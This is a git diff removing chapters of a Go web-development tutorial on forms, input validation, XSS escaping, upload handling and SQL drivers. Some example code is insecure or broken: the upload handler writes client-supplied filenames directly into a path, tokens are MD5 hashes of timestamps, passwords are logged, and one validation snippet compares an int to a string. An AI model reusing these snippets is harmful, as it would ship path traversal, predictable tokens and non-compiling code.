DefaultServeMux - 2. Call Handle of DefaultServeMux - 3. Add router rules to map[string]muxEntry of DefaultServeMux -- Call `http.ListenAndServe(":9090", nil)` - 1. Instantiate Server - 2. Call ListenAndServe method of Server - 3. Call net.Listen("tcp", addr) to listen to port - 4. Start a loop and accept requests in the loop body - 5. Instantiate a Conn and start a goroutine for every request: `go c.serve()` - 6. Read request data: `w, err := c.readRequest()` - 7. Check whether handler is empty or not, if it's empty then use DefaultServeMux - 8. Call ServeHTTP of handler - 9. Execute code in DefaultServeMux in this case - 10. Choose handler by URL and execute code in that handler function: `mux.handler.ServeHTTP(w, r)` - 11. How to choose handler: - A. Check router rules for this URL - B. Call ServeHTTP in that handler if there is one - C. Call ServeHTTP of NotFoundHandler otherwise - -## Links - -- [Directory](preface.md) -- Previous section: [How Go works with web](03.3.md) -- Next section: [Summary](03.5.md) diff --git a/en/eBook/03.5.md b/en/eBook/03.5.md deleted file mode 100644 index 2d24cf9f..00000000 --- a/en/eBook/03.5.md +++ /dev/null @@ -1,11 +0,0 @@ -# 3.5 Summary - -In this chapter, we introduced HTTP, DNS resolution flow and how to build a simple web server. Then we talked about how Go implements web servers for us by looking at the source code of the `net/http` package. - -I hope that you now know much more about web development, and you should see that it's quite easy and flexible to build a web application in Go. - -## Links - -- [Directory](preface.md) -- Previous section: [Get into http package](03.4.md) -- Next chapter: [User form](04.0.md) diff --git a/en/eBook/04.0.md b/en/eBook/04.0.md deleted file mode 100644 index 5c250877..00000000 --- a/en/eBook/04.0.md +++ /dev/null @@ -1,23 +0,0 @@ -# 4 User form - -A user form is something that is very commonly used when developping web applications. It provides the ability to communicate between clients and servers. You must be very familiar with forms if you are a web developer; if you are a C/C++ programmer, you may want to ask: what is a user form? - -A form is an area that contains form elements. Users can input information into form elements like text boxes, drop down lists, radio buttons, check boxes, etc. We use the form tag `
` to define forms. - - - ... - input elements - ... -
- -Go already has many convenient functions to deal with user forms. You can easily get form data in HTTP requests, and they are easy to integrate into your own web applications. In section 4.1, we are going to talk about how to handle form data in Go. Also, since you cannot trust any data coming from the client side, you must first verify the data before using it. We'll go through some examples about how to verify form data in section 4.2. - -We say that HTTP is stateless. How can we identify that certain forms are from the same user? And how do we make sure that one form can only be submitted once? We'll look at some details concerning cookies (a cookie is information that can be saved on the client side and added to the request header when the request is sent to the server) in both sections 4.3 and 4.4. - -Another big use-case of forms is uploading files. In section 4.5, you will learn how to do this as well as controlling the file upload size before it begins uploading, in Go. - -## Links - -- [Directory](preface.md) -- Previous chapter: [Chapter 3 Summary](03.5.md) -- Next section: [Process form inputs](04.1.md) diff --git a/en/eBook/04.1.md b/en/eBook/04.1.md deleted file mode 100644 index a95ade6c..00000000 --- a/en/eBook/04.1.md +++ /dev/null @@ -1,107 +0,0 @@ -# 4.1 Process form inputs - -Before we begin, let's take a look at a simple example of a typical user form, saved as `login.gtpl` in your project folder. - - - - - - -
- Username: - Password: - -
- - - -This form will submit to `/login` on the server. After the user clicks the login button, the data will be sent to the `login` handler registered by the server router. Then we need to know whether it uses the POST method or GET. - -This is easy to find out using the `http` package. Let's see how to handle the form data on the login page. - - package main - - import ( - "fmt" - "html/template" - "log" - "net/http" - "strings" - ) - - func sayhelloName(w http.ResponseWriter, r *http.Request) { - r.ParseForm() //Parse url parameters passed, then parse the response packet for the POST body (request body) - // attention: If you do not call ParseForm method, the following data can not be obtained form - fmt.Println(r.Form) // print information on server side. - fmt.Println("path", r.URL.Path) - fmt.Println("scheme", r.URL.Scheme) - fmt.Println(r.Form["url_long"]) - for k, v := range r.Form { - fmt.Println("key:", k) - fmt.Println("val:", strings.Join(v, "")) - } - fmt.Fprintf(w, "Hello astaxie!") // write data to response - } - - func login(w http.ResponseWriter, r *http.Request) { - fmt.Println("method:", r.Method) //get request method - if r.Method == "GET" { - t, _ := template.ParseFiles("login.gtpl") - t.Execute(w, nil) - } else { - r.ParseForm() - // logic part of log in - fmt.Println("username:", r.Form["username"]) - fmt.Println("password:", r.Form["password"]) - } - } - - func main() { - http.HandleFunc("/", sayhelloName) // setting router rule - http.HandleFunc("/login", login) - err := http.ListenAndServe(":9090", nil) // setting listening port - if err != nil { - log.Fatal("ListenAndServe: ", err) - } - } - - -Here we use `r.Method` to get the request method, and it returns an http verb -"GET", "POST", "PUT", etc. - -In the `login` function, we use `r.Method` to check whether it's a login page or login processing logic. In other words, we check to see whether the user is simply opening the page, or trying to log in. Serve shows the page only when the request comes in via the GET method, and it executes the login logic when the request uses the POST method. - -You should see the following interface after opening `http://127.0.0.1:9090/login` in your browser. - -![](images/4.1.login.png?raw=true) - -Figure 4.1 User login interface - -The server will not print anything until after we type in a username and password, because the handler doesn't parse the form until we call `r.ParseForm()`. Let's add `r.ParseForm()` before `fmt.Println("username:", r.Form["username"])`, compile our program and test it again. You will find that the information is printed on the server side now. - -`r.Form` contains all of the request arguments, for instance the query-string in the URL and the data in POST and PUT. If the data has conflicts, for example parameters that have the same name, the server will save the data into a slice with multiple values. The Go documentation states that Go will save the data from GET and POST requests in different places. - -Try changing the value of the action in the form `http://127.0.0.1:9090/login` to `http://127.0.0.1:9090/login?username=astaxie` in the `login.gtpl` file, test it again, and you will see that the slice is printed on the server side. - -![](images/4.1.slice.png?raw=true) - -Figure 4.2 Server prints request data - -The type of `request.Form` is `url.Value`. It saves data with the format `key=value`. - - v := url.Values{} - v.Set("name", "Ava") - v.Add("friend", "Jess") - v.Add("friend", "Sarah") - v.Add("friend", "Zoe") - // v.Encode() == "name=Ava&friend=Jess&friend=Sarah&friend=Zoe" - fmt.Println(v.Get("name")) - fmt.Println(v.Get("friend")) - fmt.Println(v["friend"]) - -**Tips** Requests have the ability to access form data using the `FormValue()` method. For example, you can change `r.Form["username"]` to `r.FormValue("username")`, and Go calls `r.ParseForm` automatically. Notice that it returns the first value if there are arguments with the same name, and it returns an empty string if there is no such argument. - -## Links - -- [Directory](preface.md) -- Previous section: [User form](04.0.md) -- Next section: [Verification of inputs](04.2.md) diff --git a/en/eBook/04.2.md b/en/eBook/04.2.md deleted file mode 100644 index 291e4657..00000000 --- a/en/eBook/04.2.md +++ /dev/null @@ -1,141 +0,0 @@ -# 4.2 Verification of inputs - -One of the most important principles in web development is that you cannot trust anything from client side user forms. You have to verify all incoming data before use it. Many websites are affected by this problem, which is simple yet crucial. - -There are two ways of verify form data that are commonly used. One is JavaScript verification in the front-end, and the other is server verification in the back-end. In this section, we are going to talk about server side verification in web development. - -## Required fields - -Sometimes we require that users input some fields but they don't, for example in the previous section when we required a username. You can use the `len` function to get the length of a field in order to ensure that users have entered this information. - - if len(r.Form["username"][0])==0{ - // code for empty field - } - -`r.Form` treats different form element types differently when they are blank. For empty textboxes, text areas and file uploads, it returns an empty string; for radio buttons and check boxes, it doesn't even create the corresponding items. Instead, you will get errors if you try to access it. Therefore, it's safer to use `r.Form.Get()` to get filed values since it will always return empty if the value does not exist. On the other hand, `r.Form.Get()` can only get one field value at a time, so you need to use `r.Form` to get the map of values. - -## Numbers - -Sometimes you only need numbers for the field value. For example, let's say that you require the age of a user in integer form only, i.e 50 or 10, instead of "old enough" or "young man". If we require a positive number, we can convert the value to the `int` type first, then process it. - - getint,err:=strconv.Atoi(r.Form.Get("age")) - if err!=nil{ - // error occurs when convert to number, it may not a number - } - - // check range of number - if getint >100 { - // too big - } - -Another way to do this is using regular expressions. - - if m, _ := regexp.MatchString("^[0-9]+$", r.Form.Get("age")); !m { - return false - } - -For high performance purposes, regular expressions are not efficient, however simple regular expressions are usually fast enough. If you are familiar with regular expressions, it's a very convenient way to verify data. Notice that Go uses [RE2](http://code.google.com/p/re2/wiki/Syntax), so all UTF-8 characters are supported. - -## Chinese - -Sometimes we need users to input their Chinese names and we have to verify that they all use Chinese rather than random characters. For Chinese verification, regular expressions are the only way. - - if m, _ := regexp.MatchString("^[\\x{4e00}-\\x{9fa5}]+$", r.Form.Get("realname")); !m { - return false - } - -## English letters - -Sometimes we need users to input only English letters. For example, we require someone's English name, like astaxie instead of asta谢. We can easily use regular expressions to perform our verification. - - if m, _ := regexp.MatchString("^[a-zA-Z]+$", r.Form.Get("engname")); !m { - return false - } - -## E-mail address - -If you want to know whether users have entered valid E-mail addresses, you can use the following regular expression: - - if m, _ := regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`, r.Form.Get("email")); !m { - fmt.Println("no") - }else{ - fmt.Println("yes") - } - -## Drop down list - -Let's say we require an item from our drop down list, but instead we get a value fabricated by hackers. How do we prevent this from happening? - -Suppose we have the following ` - - - - - -We can use the following strategy to sanitize our input: - - slice:=[]string{"apple","pear","banana"} - - for _, v := range slice { - if v == r.Form.Get("fruit") { - return true - } - } - return false - -All the functions I've shown above are in my open source project for operating on slices and maps: [https://github.com/astaxie/beeku](https://github.com/astaxie/beeku) - -## Radio buttons - -If we want to know whether the user is male or female, we may use a radio button, returning 1 for male and 2 for female. However, some little kid who just read his first book on HTTP, decides to send to you a 3. Will your program have have exception? As you can see, we need to use the same method as we did for our drop down list to make sure that only expected values are returned by our radio button. - - Male - Female - -And we use following code to verify the input: - - slice:=[]int{1,2} - - for _, v := range slice { - if v == r.Form.Get("gender") { - return true - } - } - return false - -## Check boxes - -Suppose there are some check boxes for user interests, and that you don't want extraneous values here either. - - Football - Basketball - Tennis - -In this case, the sanitization is a little bit different than verifying the button and check box inputs since here we get a slice from the check boxes. - - slice:=[]string{"football","basketball","tennis"} - a:=Slice_diff(r.Form["interest"],slice) - if a == nil{ - return true - } - - return false - -## Date and time - -Suppose you want users to input valid dates or times. Go has the `time` package for converting year, month and day to their corresponding times. After that, it's easy to check it. - - t := time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC) - fmt.Printf("Go launched at %s\n", t.Local()) - -After you have the time, you can use the `time` package for more operations, depending on your needs. - -In this section, we've discussed some common methods for verifying form data server side. I hope that you now understand more about data verification in Go, especially how to use regular expressions to your advantage. - -## Links - -- [Directory](preface.md) -- Previous section: [Process form inputs](04.1.md) -- Next section: [Cross site scripting](04.3.md) diff --git a/en/eBook/04.3.md b/en/eBook/04.3.md deleted file mode 100644 index edcc8a82..00000000 --- a/en/eBook/04.3.md +++ /dev/null @@ -1,68 +0,0 @@ -# 4.3 Cross site scripting - -Today's websites have much more dynamic content in order to improve user experience, which means that we must provide dynamic information depending on every individual's behavior. Unfortunately, there is a thing called "Cross site scripting" (known as "XSS") always attacking dynamic websites, from which static websites are completely fine at this time. - -Attackers often inject malicious scripts like JavaScript, VBScript, ActiveX or Flash into those websites that have loopholes. Once they have successfully injected their scripts, user information can be stolen and your website can be flooded with spam. The attackers can also change user settings to whatever they want. - -If you want to prevent this kind of attack, you should combine the two following approaches: - -- Verification of all data from users, which we talked about in the previous section. -- Carefully handle data that will be sent to clients in order to prevent any injected scripts from running on browsers. - -So how can we do these two things in Go? Fortunately, the `html/template` package has some useful functions to escape data as follows: - -- `func HTMLEscape(w io.Writer, b []byte)` escapes b to w. -- `func HTMLEscapeString(s string) string` returns a string after escaping from s. -- `func HTMLEscaper(args ...interface{}) string` returns a string after escaping from multiple arguments. - -Let's change the example in section 4.1: - - fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) // print at server side - fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password"))) - template.HTMLEscape(w, []byte(r.Form.Get("username"))) // responded to clients - -If someone tries to input the username as ``, we will see the following content in the browser: - -![](images/4.3.escape.png?raw=true) - -Figure 4.3 JavaScript after escaped - -Functions in the `html/template` package help you to escape all HTML tags. What if you just want to print `` to browsers? You should use `text/template` instead. - - import "text/template" - ... - t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) - err = t.ExecuteTemplate(out, "T", "") - -Output: - - Hello, ! - -Or you can use the `template.HTML` type : -Variable content will not be escaped if its type is `template.HTML`. - - import "html/template" - ... - t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) - err = t.ExecuteTemplate(out, "T", template.HTML("")) - -Output: - - Hello, ! - -One more example of escaping: - - import "html/template" - ... - t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) - err = t.ExecuteTemplate(out, "T", "") - -Output: - - Hello, <script>alert('you have been pwned')</script>! - -## Links - -- [Directory](preface.md) -- Previous section: [Verification of inputs](04.2.md) -- Next section: [Duplicate submissions](04.4.md) diff --git a/en/eBook/04.4.md b/en/eBook/04.4.md deleted file mode 100644 index 93792b5d..00000000 --- a/en/eBook/04.4.md +++ /dev/null @@ -1,57 +0,0 @@ -# 4.4 Duplicate submissions - -I don't know if you've ever seen some blogs or BBS' that have more than one posts that are exactly the same, but I can tell you that it's because users submitted duplicate post forms. There many things that can cause duplicate submissions; sometimes users just double click the submit button, or they want to modify some content after posting and press the back button. Other times it's the intentional actions of malicious users. It's easy to see how duplicate submissions can lead to many problems. Thus, we have to use effective means to prevent it. - -The solution is to add a hidden field with a unique token to your form, and to always check this token before processing the incoming data. Also, if you are using Ajax to submit a form, use JavaScript to disable the submit button once the form has been submitted. - -Let's improve the example from section 4.2: - - Football - Basketball - Tennis - Username: - Password: - - - -We use an MD5 hash (time stamp) to generate the token, and added it to both a hidden field on the client side form and a session cookie on the server side (Chapter 6). We can then use this token to check whether or not this form was submitted. - - func login(w http.ResponseWriter, r *http.Request) { - fmt.Println("method:", r.Method) // get request method - if r.Method == "GET" { - crutime := time.Now().Unix() - h := md5.New() - io.WriteString(h, strconv.FormatInt(crutime, 10)) - token := fmt.Sprintf("%x", h.Sum(nil)) - - t, _ := template.ParseFiles("login.gtpl") - t.Execute(w, token) - } else { - // log in request - r.ParseForm() - token := r.Form.Get("token") - if token != "" { - // check token validity - } else { - // give error if no token - } - fmt.Println("username length:", len(r.Form["username"][0])) - fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) // print in server side - fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password"))) - template.HTMLEscape(w, []byte(r.Form.Get("username"))) // respond to client - } - } - -![](images/4.4.token.png?raw=true) - -Figure 4.4 The content in browser after adding a token - -You can refresh this page and you will see a different token every time. This ensures that every form is unique. - -For now, you can prevent many duplicate submission attacks by adding tokens to your forms, but it cannot prevent all deceptive attacks of this type. There is much more work that needs to be done. - -## Links - -- [Directory](preface.md) -- Previous section: [Cross site scripting](04.3.md) -- Next section: [File upload](04.5.md) diff --git a/en/eBook/04.5.md b/en/eBook/04.5.md deleted file mode 100644 index 25803e49..00000000 --- a/en/eBook/04.5.md +++ /dev/null @@ -1,154 +0,0 @@ -# 4.5 File upload - -Suppose you have a website like Instagram and you want users to upload their beautiful photos. How would you implement that functionality? - -You have to add property `enctype` to the form that you want to use for uploading photos. There are three possible values for this property: - - application/x-www-form-urlencoded Transcode all characters before uploading (default). - multipart/form-data No transcoding. You must use this value when your form has file upload controls. - text/plain Convert spaces to "+", but no transcoding for special characters. - -Therefore, the HTML content of a file upload form should look like this: - - - - Upload file - - -
- - - -
- - - -We need to add a function on the server side to handle this form. - - http.HandleFunc("/upload", upload) - - // upload logic - func upload(w http.ResponseWriter, r *http.Request) { - fmt.Println("method:", r.Method) - if r.Method == "GET" { - crutime := time.Now().Unix() - h := md5.New() - io.WriteString(h, strconv.FormatInt(crutime, 10)) - token := fmt.Sprintf("%x", h.Sum(nil)) - - t, _ := template.ParseFiles("upload.gtpl") - t.Execute(w, token) - } else { - r.ParseMultipartForm(32 << 20) - file, handler, err := r.FormFile("uploadfile") - if err != nil { - fmt.Println(err) - return - } - defer file.Close() - fmt.Fprintf(w, "%v", handler.Header) - f, err := os.OpenFile("./test/"+handler.Filename, os.O_WRONLY|os.O_CREATE, 0666) - if err != nil { - fmt.Println(err) - return - } - defer f.Close() - io.Copy(f, file) - } - } - -As you can see, we need to call `r.ParseMultipartForm` for uploading files. The function `maxMemory` argument. After you call `ParseMultipartForm`, the file will be saved in the server memory with `maxMemory` size. If the file size is larger than `maxMemory`, the rest of the data will be saved in a system temporary file. You can use `r.FormFile` to get the file handle and use `io.Copy` to save to your file system. - -You don't need to call `r.ParseForm` when you access other non-file fields in the form because Go will call it when it's necessary. Also, calling `ParseMultipartForm` once is enough -multiple calls make no difference. - -We use three steps for uploading files as follows: - -1. Add `enctype="multipart/form-data"` to your form. -2. Call `r.ParseMultipartForm` on the server side to save the file either to memory or to a temporary file. -3. Call `r.FormFile` to get the file handle and save to the file system. - -The file handler is the `multipart.FileHeader`. It uses the following struct: - - type FileHeader struct { - Filename string - Header textproto.MIMEHeader - // contains filtered or unexported fields - } - -![](images/4.5.upload2.png?raw=true) - -Figure 4.5 Print information on server after receiving file. - -## Clients upload files - -I showed an example of using a form to a upload a file. We can impersonate a client form to upload files in Go as well. - - package main - - import ( - "bytes" - "fmt" - "io" - "io/ioutil" - "mime/multipart" - "net/http" - "os" - ) - - func postFile(filename string, targetUrl string) error { - bodyBuf := &bytes.Buffer{} - bodyWriter := multipart.NewWriter(bodyBuf) - - // this step is very important - fileWriter, err := bodyWriter.CreateFormFile("uploadfile", filename) - if err != nil { - fmt.Println("error writing to buffer") - return err - } - - // open file handle - fh, err := os.Open(filename) - if err != nil { - fmt.Println("error opening file") - return err - } - - //iocopy - _, err = io.Copy(fileWriter, fh) - if err != nil { - return err - } - - contentType := bodyWriter.FormDataContentType() - bodyWriter.Close() - - resp, err := http.Post(targetUrl, contentType, bodyBuf) - if err != nil { - return err - } - defer resp.Body.Close() - resp_body, err := ioutil.ReadAll(resp.Body) - if err != nil { - return err - } - fmt.Println(resp.Status) - fmt.Println(string(resp_body)) - return nil - } - - // sample usage - func main() { - target_url := "http://localhost:9090/upload" - filename := "./astaxie.pdf" - postFile(filename, target_url) - } - -The above example shows you how to use a client to upload files. It uses `multipart.Write` to write files into cache and sends them to the server through the POST method. - -If you have other fields that need to write into data, like username, call `multipart.WriteField` as needed. - -## Links - -- [Directory](preface.md) -- Previous section: [Duplicate submissions](04.4.md) -- Next section: [Summary](04.6.md) diff --git a/en/eBook/04.6.md b/en/eBook/04.6.md deleted file mode 100644 index d30aed1d..00000000 --- a/en/eBook/04.6.md +++ /dev/null @@ -1,11 +0,0 @@ -# 4.6 Summary - -In this chapter, we mainly learned how to process form data in Go through several examples like logging in users and uploading files. We also emphasized that verifying user data is extremely important for website security, and we used one section to talk about how to filter data with regular expressions. - -I hope that you now know more about the communication process between client and server. - -## Links - -- [Directory](preface.md) -- Previous section: [File upload](04.5.md) -- Next chapter: [Database](05.0.md) diff --git a/en/eBook/05.0.md b/en/eBook/05.0.md deleted file mode 100644 index ba0e6af1..00000000 --- a/en/eBook/05.0.md +++ /dev/null @@ -1,13 +0,0 @@ -# 5 Database - -For web developers, the database is at the core of web development. You can save almost anything into a database and query or update data inside it, like user information, products or news articles. - -Go doesn't provide any database drivers, but it does have a driver interface defined in the `database/sql` package. People can develop database drivers based on that interface. In section 5.1, we are going to talk about database driver interface design in Go; in sections 5.2 to 5.4, I will introduce some SQL database drivers to you; in section 5.5, i'll present the ORM that i've developed which is based on the `database/sql` interface standard. It's compatible with most drivers that have implemented the `database/sql` interface, and it makes it easy to access databases idiomatically in Go. - -NoSQL has been a hot topic in recent years. More websites are deciding to use NoSQL databases as their main database instead of just for the purpose of caching. I will introduce you to two NoSQL databases, which are MongoDB and Redis, in section 5.6. - -## Links - -- [Directory](preface.md) -- Previous Chapter: [Chapter 4 Summary](04.6.md) -- Next section: [database/sql interface](05.1.md) diff --git a/en/eBook/05.1.md b/en/eBook/05.1.md deleted file mode 100644 index b38540f8..00000000 --- a/en/eBook/05.1.md +++ /dev/null @@ -1,204 +0,0 @@ -# 5.1 database/sql interface - -Go doesn't provide any official database drivers, unlike other languages like PHP which do. However, it does have some database driver interface standards for developers to develop database drivers with. The advantage is that if your code is developed according to these interface standards, you will not need to change any code if your database changes. Let's see what these database interface standards are. - -## sql.Register - -This function is in the `database/sql` package for registering database drivers when you use third-party database drivers. All of these should call the `Register(name string, driver driver.Driver)` function in `init()` in order to register themselves. - -Let's take a look at the corresponding mymysql and sqlite3 driver code: - - //https://github.com/mattn/go-sqlite3 driver - func init() { - sql.Register("sqlite3", &SQLiteDriver{}) - } - - //https://github.com/mikespook/mymysql driver - // Driver automatically registered in database/sql - var d = Driver{proto: "tcp", raddr: "127.0.0.1:3306"} - func init() { - Register("SET NAMES utf8") - sql.Register("mymysql", &d) - } - -We see that all third-party database drivers have implemented this function to register themselves, and Go uses a map to save user drivers inside of `databse/sql`. - - var drivers = make(map[string]driver.Driver) - - drivers[name] = driver - -Therefore, this register function can register drivers as many as you want with different names. - -We always see the following code when we use third-party drivers: - - import ( - "database/sql" - _ "github.com/mattn/go-sqlite3" - ) - -Here the underscore (also known as a 'blank') `_` can be quite confusing for many beginners, but this is a great feature in Go. We already know that this identifier is for discarding values from function returns, and also that you must use all packages that you've imported in your code in Go. So when the blank is used with import, it means that you need to execute the init() function of that package without directly using it, which exactly fits the use-case for registering database drivers. - -## driver.Driver - -`Driver` is an interface containing an `Open(name string)` method that returns a `Conn` interface. - - type Driver interface { - Open(name string) (Conn, error) - } - -This is a one-time Conn, which means it can only be used once in one goroutine. The following code will cause errors to occur: - - ... - go goroutineA (Conn) // query - go goroutineB (Conn) // insert - ... - -Because Go has no idea which goroutine does what operation, the query operation may get the result of the insert operation, and vice-versa. - -All third-party drivers should have this function to parse the name of Conn and return the correct results. - -## driver.Conn - -This is a database connection interface with some methods, and as i've said above, the same Conn can only be used in one goroutine. - - type Conn interface { - Prepare(query string) (Stmt, error) - Close() error - Begin() (Tx, error) - } - -- `Prepare` returns the prepare status of corresponding SQL commands for querying and deleting, etc. -- `Close` closes the current connection and cleans resources. Most third-party drivers implement some kind of connection pool, so you don't need to cache connections unless you want to have unexpected errors. -- `Begin` returns a Tx that represents a transaction handle. You can use it for querying, updating, rolling back transactions, etc. - -## driver.Stmt - -This is a ready status that corresponds with Conn, so it can only be used in one goroutine like Conn. - - type Stmt interface { - Close() error - NumInput() int - Exec(args []Value) (Result, error) - Query(args []Value) (Rows, error) - } - -- `Close` closes the current connection but still returns row data if it is executing a query operation. -- `NumInput` returns the number of obligate arguments. Database drivers should check their caller's arguments when the result is greater than 0, and it returns -1 when database drivers don't know any obligate argument. -- `Exec` executes the `update/insert` SQL commands prepared in `Prepare`, returns `Result`. -- `Query` executes the `select` SQL command prepared in `Prepare`, returns row data. - -## driver.Tx - -Generally, transaction handles only have submit or rollback methods, and database drivers only need to implement these two methods. - - type Tx interface { - Commit() error - Rollback() error - } - -## driver.Execer - -This is an optional interface. - - type Execer interface { - Exec(query string, args []Value) (Result, error) - } - -If the driver doesn't implement this interface, when you call DB.Exec, it will automatically call Prepare, then return Stmt. After that it executes the Exec method of Stmt, then closes Stmt. - -## driver.Result - -This is the interface for results of `update/insert` operations. - - type Result interface { - LastInsertId() (int64, error) - RowsAffected() (int64, error) - } - -- `LastInsertId` returns auto-increment Id number after a database insert operation. -- `RowsAffected` returns rows that were affected by query operations. - -## driver.Rows - -This is the interface for the result of a query operation. - - type Rows interface { - Columns() []string - Close() error - Next(dest []Value) error - } - -- `Columns` returns field information of database tables. The slice has a one-to-one correspondence with SQL query fields only, and does not return all fields of that database table. -- `Close` closes Rows iterator. -- `Next` returns next data and assigns to dest, converting all strings into byte arrays, and gets io.EOF error if no more data is available. - -## driver.RowsAffected - -This is an alias of int64, but it implements the Result interface. - - type RowsAffected int64 - - func (RowsAffected) LastInsertId() (int64, error) - - func (v RowsAffected) RowsAffected() (int64, error) - -## driver.Value - -This is an empty interface that can contains any kind of data. - - type Value interface{} - -The Value must be something that drivers can operate on or nil, so it should be one of following types: - - int64 - float64 - bool - []byte - string [*] Except Rows.Next which cannot return string - time.Time - -## driver.ValueConverter - -This defines an interface for converting normal values to driver.Value. - - type ValueConverter interface { - ConvertValue(v interface{}) (Value, error) - } - -This interface is commonly used in database drivers and has many useful features: - -- Converts driver.Value to a corresponding database field type, for example converts int64 to uint16. -- Converts database query results to driver.Value. -- Converts driver.Value to a user defined value in the `scan` function. - -## driver.Valuer - -This defines an interface for returning driver.Value. - - type Valuer interface { - Value() (Value, error) - } - -Many types implement this interface for conversion between driver.Value and itself. - -At this point, you should know a bit about developping database drivers in Go. Once you can implement interfaces for operations like add, delete, update, etc., there are only a few problems left related to communicating with specific databases. - -## database/sql - -databse/sql defines even more high-level methods on top of database/sql/driver for more convenient database operations, and it suggests that you implement a connection pool. - - type DB struct { - driver driver.Driver - dsn string - mu sync.Mutex // protects freeConn and closed - freeConn []driver.Conn - closed bool - } - -As you can see, the `Open` function returns a DB that has a freeConn, and this is a simple connection pool. Its implementation is very simple and ugly. It uses `defer db.putConn(ci, err)` in the Db.prepare function to put a connection into the connection pool. Everytime you call the Conn function, it checks the length of freeCoon. If it's greater than 0, that means there is a reusable connection and it directly returns to you. Otherwise it creates a new connection and returns. - -## Links - -- [Directory](preface.md) -- Previous section: [Database](05.0.md) -- Next section: [MySQL](05.2.md) diff --git a/en/eBook/05.2.md b/en/eBook/05.2.md deleted file mode 100644 index 31a62247..00000000 --- a/en/eBook/05.2.md +++ /dev/null @@ -1,126 +0,0 @@ -# 5.2 MySQL - -The LAMP stack has been very popular on the internet in recent years, and the M in LAMP stand for MySQL. MySQL is famous because it's open source and easy to use. As such, it became the defacto database in the back-ends of many websites. - -## MySQL drivers - -There are a couple of drivers that support MySQL in Go. Some of them implement the `database/sql` interface, and others use their own interface standards. - -- [https://github.com/go-sql-driver/mysql](https://github.com/go-sql-driver/mysql) supports `database/sql`, written in pure Go. -- [https://github.com/ziutek/mymysql](https://github.com/ziutek/mymysql) supports `database/sql` and user defined interfaces, written in pure Go. -- [https://github.com/Philio/GoMySQL](https://github.com/Philio/GoMySQL) only supports user defined interfaces, written in pure Go. - -I'll use the first driver in the following examples (I use this one in my personal projects too), and I also recommend that you use it for the following reasons: - -- It's a new database driver and supports more features. -- Fully supports `databse/sql` interface standards. -- Supports keepalive, long connections with thread-safety. - -## Samples - -In the following sections, I'll use the same database table structure for different databases, then create SQL as follows: - - CREATE TABLE `userinfo` ( - `uid` INT(10) NOT NULL AUTO_INCREMENT, - `username` VARCHAR(64) NULL DEFAULT NULL, - `departname` VARCHAR(64) NULL DEFAULT NULL, - `created` DATE NULL DEFAULT NULL, - PRIMARY KEY (`uid`) - ); - -The following example shows how to operate on a database based on the `database/sql` interface standards. - - package main - - import ( - _ "github.com/go-sql-driver/mysql" - "database/sql" - "fmt" - ) - - func main() { - db, err := sql.Open("mysql", "astaxie:astaxie@/test?charset=utf8") - checkErr(err) - - // insert - stmt, err := db.Prepare("INSERT userinfo SET username=?,departname=?,created=?") - checkErr(err) - - res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09") - checkErr(err) - - id, err := res.LastInsertId() - checkErr(err) - - fmt.Println(id) - // update - stmt, err = db.Prepare("update userinfo set username=? where uid=?") - checkErr(err) - - res, err = stmt.Exec("astaxieupdate", id) - checkErr(err) - - affect, err := res.RowsAffected() - checkErr(err) - - fmt.Println(affect) - - // query - rows, err := db.Query("SELECT * FROM userinfo") - checkErr(err) - - for rows.Next() { - var uid int - var username string - var department string - var created string - err = rows.Scan(&uid, &username, &department, &created) - checkErr(err) - fmt.Println(uid) - fmt.Println(username) - fmt.Println(department) - fmt.Println(created) - } - - // delete - stmt, err = db.Prepare("delete from userinfo where uid=?") - checkErr(err) - - res, err = stmt.Exec(id) - checkErr(err) - - affect, err = res.RowsAffected() - checkErr(err) - - fmt.Println(affect) - - db.Close() - - } - - func checkErr(err error) { - if err != nil { - panic(err) - } - } - -Let me explain a few of the important functions here: - -- `sql.Open()` opens a registered database driver. The Go-MySQL-Driver registered the mysql driver here. The second argument is the DSN (Data Source Name) that defines information pertaining to the database connection. It supports following formats: - - user@unix(/path/to/socket)/dbname?charset=utf8 - user:password@tcp(localhost:5555)/dbname?charset=utf8 - user:password@/dbname - user:password@tcp([de:ad:be:ef::ca:fe]:80)/dbname - -- `db.Prepare()` returns a SQL operation that is going to be executed. It also returns the execution status after executing SQL. -- `db.Query()` executes SQL and returns a Rows result. -- `stmt.Exec()` executes SQL that has been prepared and stored in Stmt. - -Note that we use the format `=?` to pass arguments. This is necessary for preventing SQL injection attacks. - -## Links - -- [Directory](preface.md) -- Previous section: [database/sql interface](05.1.md) -- Next section: [SQLite](05.3.md) diff --git a/en/eBook/05.3.md b/en/eBook/05.3.md deleted file mode 100644 index e57aea92..00000000 --- a/en/eBook/05.3.md +++ /dev/null @@ -1,110 +0,0 @@ -# 5.3 SQLite - -SQLite is an open source, embedded relational database. It has a self-contained, zero-configuration and transaction-supported database engine. Its characteristics are highly portable, easy to use, compact, efficient and reliable. In most of cases, you only need a binary file of SQLite to create, connect and operate a database. If you are looking for an embedded database solution, SQLite is worth considering. You can say SQLite is the open source version of Access. - -## SQLite drivers - -There are many database drivers for SQLite in Go, but many of them do not support the `database/sql` interface standards. - -- [https://github.com/mattn/go-sqlite3](https://github.com/mattn/go-sqlite3) supports `database/sql`, based on cgo. -- [https://github.com/feyeleanor/gosqlite3](https://github.com/feyeleanor/gosqlite3) doesn't support `database/sql`, based on cgo. -- [https://github.com/phf/go-sqlite3](https://github.com/phf/go-sqlite3) doesn't support `database/sql`, based on cgo. - -The first driver is the only one that supports the `database/sql` interface standard in its SQLite driver, so I use this in my projects -it will make it easy to migrate my code in the future if I need to. - -## Samples - -We create the following SQL: - - CREATE TABLE `userinfo` ( - `uid` INTEGER PRIMARY KEY AUTOINCREMENT, - `username` VARCHAR(64) NULL, - `departname` VARCHAR(64) NULL, - `created` DATE NULL - ); - -An example: - - package main - - import ( - "database/sql" - "fmt" - _ "github.com/mattn/go-sqlite3" - ) - - func main() { - db, err := sql.Open("sqlite3", "./foo.db") - checkErr(err) - - // insert - 